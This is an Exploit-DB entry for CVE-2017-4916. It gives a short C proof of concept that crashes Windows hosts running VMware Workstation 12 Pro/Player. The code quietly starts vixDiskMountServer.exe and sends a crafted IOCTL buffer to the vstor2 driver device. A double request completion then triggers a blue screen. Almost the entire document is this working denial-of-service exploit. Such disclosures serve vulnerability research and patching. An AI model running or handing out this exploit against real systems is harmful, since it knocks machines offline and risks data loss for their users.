VMware Workstation 12 Pro - Denial of Service

EDB-ID:

42140


Type:

dos


Platform:

Windows

Date:

2017-06-08


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/*
 * Title: NULL pointer dereference vulnerability in vstor2 driver (VMware Workstation Pro/Player)
 * CVE: 2017-4916 (VMSA-2017-0009)
 * Author: Borja Merino (@BorjaMerino)
 * Date: May 18, 2017
 * Tested on: Windows 10 Pro and Windows 7 Pro (SP1) with VMware® Workstation 12 Pro (12.5.5 build-5234757)
 * Affected: VMware Workstation Pro/Player 12.x
 * Description: This p0c produces a BSOD by sending a specific IOCTL code to the vstor2_mntapi20_shared device
 * driver due to a double call to IofCompleteRequest (generating a MULTIPLE_IRP_COMPLETE_REQUESTS bug check)
*/

#include "windows.h"
#include "stdio.h"

void ioctl_crash()
{
	HANDLE hfile;
	WCHAR *vstore = L"\\\\.\\vstor2-mntapi20-shared";
	DWORD dummy;
	char reply[0x3FDC];
	hfile = CreateFileW(vstore, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
	char buf[384] = "\x80\x01\x00\x00\xc8\xdc\x00\x00\xba\xab";
	DeviceIoControl(hfile, 0x2a002c, buf, 382, reply, sizeof(reply), &dummy, NULL);
}

void run_vix()
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	RtlZeroMemory(&si, sizeof(si));
	RtlZeroMemory(&pi, sizeof(pi));
	si.dwFlags |= STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
    DWORD createFlags = CREATE_SUSPENDED;
	CreateProcess(L"C:\\Program Files (x86)\\VMware\\VMware Workstation\\vixDiskMountServer.exe", NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
}

void main()
{
	run_vix(); //Comment this if vixDiskMountServer.exe is already running
	ioctl_crash();
}